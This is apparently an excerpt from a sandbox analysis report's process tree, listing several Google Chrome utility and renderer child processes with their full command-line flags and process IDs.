C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=3316 --ignored=" --type=renderer " /prefetch:82⤵PID:2360
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=3280 --ignored=" --type=renderer " /prefetch:82⤵PID:2412
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --lang=en-US --service-sandbox-type=utility --enable-audio-service-sandbox --mojo-platform-channel-handle=3224 --ignored=" --type=renderer " /prefetch:82⤵PID:2460
-
-
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=984,1845132733231267656,12789318642497675374,131072 --disable-gpu-compositing --lang=en-US --extension-process --enable-auto-reload --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3396 /prefetch:12⤵PID:2512
-